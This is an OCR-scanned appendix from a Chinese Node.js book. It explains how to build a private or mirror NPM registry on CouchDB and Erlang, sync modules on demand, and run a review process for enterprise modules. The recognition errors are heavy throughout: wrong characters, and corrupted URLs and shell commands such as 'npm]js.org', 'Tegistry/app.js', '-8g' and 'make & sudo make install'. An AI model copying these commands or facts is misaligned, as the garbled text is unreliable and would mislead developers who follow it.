之 则 的 隔离 , 一 方面 可 以 杜绝 上 述 问 题 的 发 生 , 一 方面 可 以 享受 NPM 工 具 市 来 生态 链 的 完整 性 
和 便捷 性 。 

在 package.json 中 编写 依赖 ， 通 过 NPM 工 具 从 私有 仓库 中 安 法 模块 ， 目 动 完成 依赖 模块 的 安 


图 灵 社 区 会 员 Eric Liu(guangqiang.dev@gmail.com) 专 享 尊重 版 权 


附录 了 D 搭建 局 域 NPM 仓库 325 


效 , 这 与 使 用 开源 社区 的 官方 仓库 一 样 便利 。 如 采 没 有 私有 NPM 仓 库 , 共 至 模块 的 过 程 甚 至 会 演 
变 为 复制 粘贴 的 手工 活 ， 代 码 维 护 成 本 略 局 。 


D.1 NPM 仓 库 的 安装 


NPM 仓 库 的 源 代码 托管 在 GitHub 上 ， 地址 是 : http://github.com/isaacs/mnpmjs.org。 相 对 于 命令 
行 中 执行 的 NPM 命 令 ，NPM 仓 库 是 存放 模块 的 服务 器 。 

NPM 仓 库 的 设计 基于 CouchDB 实 现 。CouchDB 是 一 款 NoSQL 数 据 库 ， 基 于 文档 设计 ， 它 的 
文档 带 有 版 本 性 质 ， 同 时 烘 露 的 HTTP RESTful 接 口 十 分 好 用 ， 这 与 Node 的 模块 具有 较为 相似 的 
特性 。Isaac Z. Schlueter 正 是 在 这 个 基础 上 考虑 用 它 实 现 模块 的 托管 。 有 趣 的 是 ， 作 为 向 拿 来 与 
Node 在 网 络 并 发 方面 进行 比较 的 Erlang 语 言 ， 看 似 苋 争 者 的 关系 ， 其 实在 此 处 是 有 交集 的 。 因 为 
CouchDB 基 于 Erlang 写 成 ， 而 NPM 仓 库 用 它 来 托管 模块 。 

NPM 仓 库 主 要 由 两 部 分 组 成 , 体现 在 源 代码 中 分 别 是 ww 和 registry。www 是 NPM 丫 点 的 界面 ， 
registry 则 是 利用 CouchDB 存 储 模 块 包 文 件 和 提供 JSON API， 面 问 NPM 站 点 和 NPM 命 令 行 工具 
服务 。 图 D-1 演 示 了 NPM 的 结构 。 


et 


Mo 


图 D-1 NPM 结 构 


由 于 在 CouchDB 中 构建 Web 应 用 较为 复杂 ， 后 来 Isaac Z. Schlueter 重 新 构建 了 一 个 新 的 NPM 
的 Web 应 用 , 用 来 替代 CouchDB 提 供 的 Web 应 用 服务 , 让 CouchDB 做 纯粹 的 数据 托管 并 提供 HTTP 
RESTful 服 务 。 这 个 新 的 NPM Web 应 用 就 是 图 D-1 中 的 new www 应用， 其 源 代码 在 https:Wgithub. 


com/isaacs/npm-www 中 。 


D.1.1 安装 Erlang 和 和 CouchDB 


安装 NPM 仓 库 所 依赖 的 环境 比较 复杂 ， 对 于 Windows 平 台 而 言 ， 可 以 找到 编译 好 的 Erlang 和 
CouchDB 二 进 制版 本 。 对 于 Linux 或 Mac 用 户 ， 这 里 需要 说 明 一 下 。 
1. 安装 Erlang 
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安装 Erlang 的 命令 如 下 所 示 : 


$ wget http://www.erlang.org/download/otp_ src R15BO1.tar.gz 
$ tar zxvf otp src R15BO1.tar.gz 

$ cd otp src R15BO1 

$ ./configure 

$ make & sudo make install 


再 次 键入 下 面 的 命令 ， 检 查 是 否 安装 成 功 : 


$ erl 
Erlang R15BO1 (erts-5.9.1) [source] [smp:4:4] [async-threads:0] [hipe] [kernel-poll:falsel] 


Eshell V5.9.1 (abort with ^¢) 

1> 

2. 安装 CouchDB 

在 有 Erlang 环 境 的 情况 下 ，CouchDB 才 能 被 安装 。 安 闭 步 又 跟 Erlang 差 别 不 大 ， 相 关 命 令 如 下 : 

$ wget http://mirror.bit.edu.cn/apache/couchdb/releases/1.2.0/apache-couchdb-1.2.0.tar.gz 

$ tar zxvf apache-couchdb-1.2.0.tar.gz 

$ cd apache-couchdb-1.2.0 

$ ./configure --prefix=/home/admin/couchdb # 考 虑 磁盘 空间 的 因素 ， 选 择 适 合 的 目录 

$ make & sudo make install 

上 述 需 要 考虑 的 是 如 打 仓 库 中 存在 大 量 模块 , 将 会 占用 较 多 的 磁盘 空间 , 所 以 谨慎 选择 要 人 存 
放 的 目录 。 在 执行 ./configure 时 设置 或 者 安装 完成 后 设置 配置 文件 。 

CouchDB 的 安装 还 需要 依赖 Mozilla 的 SpiderMonkey 来 执行 一 些 JavaScript 代 码 ， 它 的 安装 命 
NP: 

$ wget http://ftp.mozilla.org/pub/mozilla.org/js/js185-1.0.0.tar.gz 

$ tar zxvf js185-1.0.0.tar.gz 

$ cd js-1.8.5/js 

$ autoconf-2.13 

$ ./configure 

$ make & make install 

3. 启动 CouchDB 服 务 

启动 CouchDB 服 务 的 命令 如 下 所 示 : 


$ sudo couchdb & 
$ curl -i http://127.0.0.1:5984/ # 查 看 服务 是 否 启 动 正确 


D.1.2 搭建 NPM 仓 库 


在 前 述 工作 就 绪 之 后 ,我们 就 可 以 搭建 NPM 仓 库 了 ,这 一 步 需要 CouchDB 一 直 启 动作 为 服务 。 
搭建 NPM 仓 库 主 要 包含 如 下 5 步 。 

(1) 创建 NPM 数 据 库 。 首 先 ， 我 们 需要 调用 CouchDB 的 接口 为 仓库 创建 一 个 数据 库 ， 之 后 所 
有 的 模块 包 文件 将 作为 附件 保存 在 这 个 数据 库 中 。 


$ curl -X PUT http://127.0.0.1:5984/registry 
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{ ok" :true} 
除 此 之 外 ， 还 需要 获取 NPM 仓 库 服 务 需 的 源 代 码 。 
(2) 获取 NPM 仓 库 源 代码 。 相 关 命 令 如 下 : 


$ git clone https://github.com/isaacs/npm]js.org.git 
$ cd npmjs.org 


(3) 获取 安 钱 工具 。 相 关 命 令 如 下 : 


$ sudo npm install couchapp -8g 
$ npm install couchapp 
$ npm install semver 


(4) 竣 载 NPM 仓 库 代 码 到 CouchDB 中 。 相 关 命 令 如 下 : 


$ couchapp push Tegistry/app.js http://127.0.0.1:5984/registry 
Preparing. 

Serializing. 

PUT http://127.0.0.1:5984/registry/ design/scratch 

Finished push. 1-4dd18325b8d8c5e60d1451904005414e 

$ couchapp push www/app.js http://127.0.0.1:5984/registry 
Preparing. 

Serializing. 

PUT http://127.0.0.1:5984/registry/ design/ui 

Finished push. 1-4357980d099a397591f54fc7bf1c469b 


上 述 步骤 分 别 将 registry 代 码 和 www 下 的 代码 放 进 CouchDB 的 registry 库 中 。 一 个 本 地 的 NPM 
仓库 就 此 搭建 完成 了 。 

访问 http://127.0.0.1:5984/registry/ design/ui/ rewrite， 可 以 看 到 NPM 仓 库 的 Web UI 界面 。 

访问 http://127.0.0.1:5984/registry/ design/scratch/ rewrite， 则 对 应 的 是 JSON API 服 务 。 

这 两 个 URL 地 址 相对 而 言 比较 难 记 住 。 可 以 在 CouchDB 前 面 架 设 反 向 代 理 , 使 得 URL 变 得 优 
雅 ， 比 如 http://search.npm.your_domain.com/ 和 http://registry.npm.your domain.com/， 这 样 可 以 隐 沁 
路 径 和 端口 ， 有 一 个 容易 记 住 的 二 级 域名 即 可 。 除 此 之 外 , 更改 CouchDB 的 配置 ， 也 可 以 达到 这 
公示。 


注意 口 默认 安装 CouchDB 后 ， 将 会 监听 127.0.0.1 这 个 地 址 ， 这 会 导致 只 有 当前 机 器 可 以 访问 
CouchDB 服 务 ， 改 为 0.0.0.0 则 可 以 被 外 部 机 器 访问 到 。 
口 访问 http://127.0.0.1:5984/registry/_design/scratch/ rewrite 将 可 能 得 到 insecure_Tewiite_ 
rule too many ../.. segments 这 样 的 错误 ,修改 CouchDB 配 置 中 的 secure rewrites 
为 false 可 以 解决 该 问题 。 


(5) 配合 NPM 客 户 问 ,任意 需要 从 本 地 NPM 仓 库 进 行 操作 的 命令 , 只 要 加 入 --Tegistry=http: 


//127.0.0.1:5984/registry/ design/scratch/ rewrite 即 可 。 比 如: 


$ npm install plusplus --registry=http://127.0.0.1:5984/registry/ design/scratch/ rewrite 
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为 了 解决 命令 行 过 长 不 容易 牢记 的 问题 ， 可 以 使 用 如 下 方法 : 

$ npm config set registry http://127.0.0.1:5984/registry/ design/scratch/ rewrite 

这 个 方法 的 一 个 问题 在 于 , 如 采 经 钊 需要 在 官方 仓库 和 本 地 仓库 切换 , 那 束 比较 抹 烦 ,为 此 ， 
我 们 可 以 利用 bash 中 的 alias 功 能 来 解决 这 个 问题 。 在 */.bashzc 或 >/.profile 文 件 的 结尾 处 添加 如 
下 这 行 代码 : 

alias ]Jnpm= npm --registry=http://127.0.0.1:5984/registry/ design/scratch/ TewIite 

重新 局 动 命令 行 ，npm 操 作 的 是 官方 仓库 ，lnpm 操 作 的 则 是 本 地 人 仓库。 其余 参 数 和 命令 均 相 同 。 


D.2 高 阶 应 用 


在 上 述 过 程 中 ， 我 们 完成 了 一 个 NPM 仓 库 的 搭建 。 我 们 可 以 将 这 个 本 地 仓库 用 作 镜 像 仓库 ， 
也 可 以 用 作 目 己 全 新 的 仓库 。 


D.2.1 镜像 仓库 


镜像 仓库 , 完全 是 官方 仓库 的 一 个 镜像 地 址 , 我 们 可 以 通过 同步 的 方式 将 官方 公共 仓库 中 的 
模块 包 完 全 同步 到 镜像 仓库 中 来 。 镜像 仓 库 可 以 解决 安 交 过程 中 的 速度 问题 ， 稳 定性 可 以 得 到 保 
障 。 但 是 一 个 新 的 问题 是 要 跟 官方 公共 仓库 保持 同步 ,否则 仓库 中 会 出 现 落 后 于 官方 模块 的 情况 。 

由 于 NPM 仓 库 实 质 上 岗 是 一 个 CouchDB 数 据 库 ,同步 官方 仓库 到 镜像 仓库 其 实 就 是 对 官方 数 
据 库 的 复制 。 这 个 复制 过 程 可 以 采用 CouchDB 目 己 的 复制 功能 完成 , 它 的 实质 是 增 量 同步 的 功能 。 
我 尝试 过 很 多 次 ， 由 于 网 络 问题 ， 整 体 的 复制 性 能 十 分 低 效 。Node 社 区 的 Mikeal Rogers ( request 
模块 的 作者 、NodeConf 大 会 组 织 者 ) 写 了 一 个 replicate 模 块 用 来 进行 同步 工作 。 该 模块 的 安装 
命令 如 下 : 

$ [sudo] npm install -g replicate 

下 面 的 命令 可 以 实现 从 目标 CouchDB 库 同步 文档 到 男 一 个 CouchDB 库 中 。 对 于 公共 仓库 而 
言 ， 它 的 地 址 是 : http://isaacs.iriscouch.com/registry/。 它 的 原理 是 调用 CouchDB 的 /_changes 接 口 ， 
获取 源 库 的 变动 细节 ， 将 其 提交 给 目标 库 的 / missing revs 接 口 ， 得 到 目标 库 缺 失 哪些 文档 (也 
就 是 模块 包 )， 然 后 逐个 同步 缺失 的 文档 。 

$ replicate http://admin:pass@somecouch/sourcedb http://admin:pass@somecouch/destinationdb 

如 末 想 持续 性 地 同步 模块 到 镜像 仓库 中 ， 可 以 通过 crontab 定 时 任务 来 实现 。 

上 述 的 问题 依然 是 网 络 问题 ， 可 能 会 导 臻 中断， 而 且 鹤 至 目前 家 方 醒 块 有 3 万 多 个 ， 更 新 次 
数 达 55 万 次 ， 完 全 同步 是 一 个 不 小 的 工程 。 


D.2.2 ”私有 模块 应 用 
实现 镜像 仓库 后 ， 如 来 将 这 个 镜像 仓库 用 于 生产 ， 它 能 解决 前 面 提 到 的 4 个 问题 中 的 私有 模 
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块 和 网 络 稳 定性 影响 安 浴 速度 这 两 个 问题 。 我 们 可 以 通过 NPM 工 具 设 置 registry 的 方式 来 使 用 镜 
像 仓 库 ， 其 至 发 布 企 业 目 己 的 秘 有 模块 到 私有 仓库 中 ,完美 解决 企业 担心 的 隐私 问题 , 但 还 不 能 
解决 的 问题 是 模块 质量 和 版 本 控制 中 存在 的 风险 。 

我 曾经 尝试 过 两 种 方案 , 一 种 是 上 述 的 将 所 有 模块 同步 到 日 有 仓库 中 , 然后 混合 公司 私有 模 
块 的 方式 进行 使 用 ， 它 的 使 用 模式 如 图 D-2 所 示 。 


图 D-2 在 镜像 仓库 中 使 用 公共 模块 和 私有 模块 


在 这 个 案例 中 , 我 们 通过 一 个 镜像 仓库 来 进行 隐私 隔离, 将 私有 模块 发 布 到 镜像 仓库 中 。 对 
于 业务 逻辑 不 相关 的 模块 , 我 们 可 以 发 布 到 公有 NPM 仓 库 中 ， 回 僻 到 开源 社区 。 我 们 相信 绝 大 多 
数 企 业 也 是 通过 这 种 模式 来 进行 Node 开 发 的 。 在 这 个 模式 中 ， 我 们 可 以 看 到 NPM 平 台 上 为 何 能 
有 越 来 越 多 的 局 质 量 模 块 。 企 业 在 至 受 开源 的 过 程 中 也 不 断 地 回馈 开源 社区 。 相 比 单 兵 作战 , 企 
业 产 出 的 模块 的 质量 可 能 更 高 ， 因 为 这 个 模块 多 数 已 经 被 企业 自己 使 用 和 实践 过 。 


D.2.3” 纯 私有 仓库 


镜像 仓库 加 私有 模块 的 模式 已 经 能 够 让 企业 最 担心 的 稳定 性 和 隐私 性 问题 得 以 解决 , 但 是 版 
本 发 布 可 和 窗 盖 造成 的 风险 和 模块 质量 的 问题 还 不 能 得 到 解决 , 我 们 一 股 脑 地 将 所 有 模块 部 拖 入 到 
我 们 的 企业 生产 环境 中 ， 对 于 我 们 解决 质量 问题 丝 蝶 没有 帮助 。 相 反 ,， 拖 进来 的 模块 没有 得 到 挑 
选 和 审核 。 再 者 NPM 平台 上 众多 的 模块 , 真正 能 够 用 到 的 不 足 十 分 之 一 。 男 外 ， 由 于 是 在 企业 
内 部 使 用 这 些 模 块 ， 并 不 需要 对 公众 开放 。 因 此 ,我 们 可 以 尝试 进行 应 用 上 的 改进 , 彻底 解决 担 
心 的 所 有 问题 。 

由 于 我 们 并 不 需要 同步 所 有 的 模块 ， 所 以 我 们 尝试 在 图 D-2 中 的 全 量 同步 这 里 进行 改进 。 在 
这 个 环 市 中 ,我们 加 入 审核 机 制 ， 从 全 量 同 步 改 为 按 需 同步 ， 具 体 如 图 D-3 所 示 。 


按 需 同步 /审核 


图 D-3 ”将 全 量 同步 改 为 按 需 同步 


在 这 个 改造 过 程 中 , 也 需要 对 工具 链 进 行 改造 。 按 需 同 步 只 要 同步 指定 的 模块 即 可 ， 对 于 依 
赖 的 模块 ， 我 们 可 以 设置 模式 以 选择 是 否 同步 依赖 的 模块 。 
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1. 按 需 同步 
为 了 完成 按 需 同步 的 需求 ， 我 在 replicate 工 具 的 基础 上 进行 了 改造 ， 编 写 了 sync_package 
模块 。 它 的 使 用 方式 如 下 : 


$ npm install sync package -g 

$ npm config set remote registry http://isaacs.iriscouch.com/registry/ 
$ # 因 为 本 地 仓库 的 写 入 权限 问题 ， 所 以 记得 写 上 口令 

$ npm config set local registry http://username:password@ip/registry/ 
$ sync package express # 同步 express 模 块 


这 个 工具 只 同步 指定 的 模块 ， 远 比 replicate 快 ， 能 够 迅速 完成 所 需 模 块 的 同步 。 上 默认 情况 
这 会 同时 间 步 依赖 的 所 有 模块 。 加 -0D 可 以 取消 同步 依赖 模块 : 
$ sync package express -D 
sync_package 模 块 的 原理 是 对 比 源 库 中 的 文档 信息 和 目标 库 中 的 文档 信息 ， 如 条 不 同 ， 则 将 
源 库 中 的 模块 同步 到 目标 库 中 。 实 现 这 个 过 程 的 接口 是 /module name?revs _ info=true， 它 将 取出 
文档 的 详细 信息 用 于 对 比 。 

其 中 源 库 和 目标 库 的 设置 在 前 面 的 代码 中 ， 通 过 NPM 工 具 可 以 设置 。 

2. 审核 机 制 

实现 了 按 需 同步 后 , 还 需要 对 这 个 同步 过 程 加 入 审核 机 制 。 审 核 的 目的 在 于 确认 是 否 应 该 后 
步 该 檬 块 ， 这 个 模块 在 质量 和 安全 性 上 是 否 得 到 认可 。 这 个 过 程 就 是 对 模块 的 挑选 过 程 ,， 通过 审 
核 ， 可 以 很 好 地 杜绝 低 质 量 的 模块 进入 我 们 的 生产 环境 。 

要 完成 审核 机 制 ,关键 在 于 控制 同步 模块 的 权限 。 我 们 将 隐藏 私有 仓库 的 写 入 密码 ,通过 一 
个 Web 系 统 来 进行 管理 ,除了 管理 员外 ， 其 余 开发 人 员 没 有 必要 知道 该 密码 。 也 就 是 说 ， 我 们 将 
按 需 同步 的 功能 作为 一 个 触发 性 功能 ， 审 核 成 功 后 日 动 按 需 同步 。 图 D-4 演 示 了 模块 的 审核 流 
程 图 。 


局 部 全 局 
sync package npm 


图 D-4 ”模块 的 审核 流程 图 
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同步 模块 包 的 过 程 对 于 请 求 同 步 的 人 来 说 处 于 黑 盒 环境 , 审核 通过 即 可 进行 同步 , 同步 过 程 
所 需要 的 密码 只 需 在 开始 时 由 管理 员 配 置 好 即 可 。 

3. 二 方 模块 

通过 审核 机 制 可 以 很 好 地 处 理 第 三 方 模块 包 的 同步 问题 。 接 下 来 , 要 处 理 的 是 企业 自己 的 私 
有 模块 。 在 企业 环境 中 , 模块 应 当 属于 那个 团队 而 非 个 人 , 因为 个 人 可 能 存在 转岗 、 跳 槽 等 行为 ， 
不 能 像 公 共 社 区 模块 那样 自行 通过 npm adduser 注 册 账 号 来 完成 模块 的 发 布 。 为 此 ， 可 以 在 Web 
系统 中 实现 这 个 管理 ， 统 一 为 团队 设置 一 个 账号 ， 由 管理 员 进 行 npm adduser 的 操作 。 同 样 ， 发 
布 的 过 程 也 不 是 通过 开发 者 进行 的 ， 而 是 由 Web 系 统 通过 团队 账号 进行 npm publish 操 作 的 。 

对 于 二 方 模块 ,大 多 数 开发 团队 都 有 自己 的 代码 审核 流程 。 在 有 版 本 需要 发 布 的 时 候 , 通过 
Web 系 统 来 进行 申请 发 布 妈 可。 在 发 布 的 过 程 中 ， 可 以 通过 源 代码 版 本 控制 系统 参与 ， 这 个 过 程 
如 图 D-5 所 示 。 


图 D-5 二 方 模块 的 发 布 流程 
在 二 方 模块 中 ,严格 茶 止 --force 模 式 的 发 布 , 通过 这 个 Web 系 统 来 完成 这 个 操作 , 茶 止 禾 谭 


发 布 以 避 倪 潜在 风险 。 
4. 企业 模块 管理 系统 
通过 对 私有 仓库 加 入 运 维 机 制 、 进 行 备份 容 灾 等 产品 化 操作 后 ， 上 述 模 式 在 笔者 的 团队 ( 阿 
里 巴巴 数据 平台 ) 已 经 有 超过 一 年 的 执行 经 验 。 该 仓库 文 撑 了 多 个 团队 数 个 产品 的 日 第 开发 和 线 
上 部 著 。 上 面 提 太 的 Web 系 统 即 是 我 们 的 企业 模块 管理 系统 , 由 于 开发 过 程 中 与 企业 有 一 些 耦 合 ， 
之 后 会 将 这 部 分 确 合 去 掉 ， 然 后 开源 到 社区 中 。 


D.3 总结 
NPM 在 Node 的 发 展 历程 中 有 着 功 不 可 没 的 作用 。 没 有 NPM，Node 就 没有 如 此 众多 的 模块 可 
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以 使 用 ,没有 NPM 平 台 , CommonJSs 组 织 将 JavaScript 应 用 到 任何 地 方 的 想法 将 不 可 能 这 么 快 实 现 。 
然而 官方 NPM 对 企业 应 用 支持 的 缺失 ， 导 人 致 很 多 企业 在 应 用 Node 的 过 a 本 
附录 种 来 的 解决 方案 希望 企业 在 应 用 Node 时 能 够 在 保护 企业 的 同时 至 受到 开源 社区 的 好 处 ， 让 
NPM 工 具 不 应 当 因为 环境 的 不 同 而 不 能 使 用 。 


D.4 参考 资源 


本 附录 参考 的 资源 如 下 : 
DQ https:/www.irisnpm.com/ 
DQ http:/www.erlang.org/doc/installation guide/INSTALL.html 


DQ http://Wwiki.apache.org/couchdb/Installation 

D https://github.com/isaacs/npm]js.org 

DQ https://github.com/isaacs/npm-www 

D https://developer.mozilla.org/en-US/docs/SpiderMonkey/Builld Documentation 
D https://github.com/mikeal/replicate 

DQ https://github.com/TBEDP/sync package 
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cocos2d-x 手 机 游戏 开发 ， 跨 iOS、Android 和 沃 Phone 平 台 
论 道 HTML5 

Go 语言 * 云 动力 

Unity 3D 游 戏 开发 

大 道 至 易 : 实践 者 的 思想 

思考 的 乐趣 : Matrix67 数 学 笔记 
Node.js 开 发 指南 

Go 语言 编程 

DBA 的 思想 天 空 一 一 感悟 Oracle 数 据 库 本 质 
Kinect 人 机 交互 开发 实践 

深入 浅 出 PhoneGap 

Cocos2d-x 高 级 开发 教程 : 制作 自己 的 《 捕 鱼 达 人 》 
iOS 开 发 指南 ; 从 零 基础 到 App Store 上 架 


品味 移动 设计 一 一 iDS、Android、Windows Phone 
用 户 体 验 设 计 最 佳 实 践 


深入 浅 出 Ext JS ( 第 3 版 ) 
深入 浅 出 Node.js 

我 是 设计 师 

Android 软 件 安全 与 逆向 分析 

腾 云 ; 云 计 算 和 大 数据 时 代 网 络 技术 揭秘 


若 有 与 作 意向 ， 请 联系 我 : 
wangjh.turing @ gmail.com 
新 浪 微 博 @ 图 灵 小 花 
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Node.js 让 JavaScript 在 服务 器 端 烧 发 生机 ， 这 是 一 本 带 着 文艺 调调 的 好 看 的 技术 书 ， 书 中 详细 阐述 
了 Node.js 的 方方面面 。 如 果 你 是 前 端 工程 师 ， 这 会 是 你 迈 向 全 端 工程 师 的 关键 一 步 。 
玉 怕 ， 支 付 宝 高 级 技术 专家 


通过 学 习 Node.js， 你 可 以 接触 到 最 新 的 开发 模式 与 协作 思想 。 通 过 阅读 这 本 书 ， 你 可 以 在 软件 开发 
领域 获得 广泛 而 又 有 深度 的 收获 ! 所 以 ， 我 很 推荐 这 本 书 ! 
一 一 庄 表 伟 


从 未 读 过 这 么 让 人 想 一 翻 到 底 的 Node.js 技 术 读 物 ， 看 完 “ 内 存 控制 ”这 一 章 后 ， 重 新 写 代 码 的 时 
候 ， 仿 佛 都 能 看 到 V8 是 如 何 进行 垃圾 回收 的 。 如 果 你 还 在 纠结 callback 带 来 的 }}}}}j 媒 套 问题 ， 那 么 推荐 
你 阅读 “异步 编程 ”这 一 章 ， 保 证 让 你 大 开眼 界 。 世 界 上 本 没有 散 套 回调 ， 写 的 人 多 了 ， 也 便 有 了 
Js JavaScript 已 经 不 仅仅 是 在 浏览 器 上 运行 的 玩具 语言 ， 它 正在 通过 Node.js 进 军 所 有 领域 。 
阅读 本 书 ， 开 启 你 人 生 的 第 一 个 Node 节 点 吧 。 
一 一 Python 发 烧 友 ， 阿 里 巴巴 数据 平台 技术 专家 
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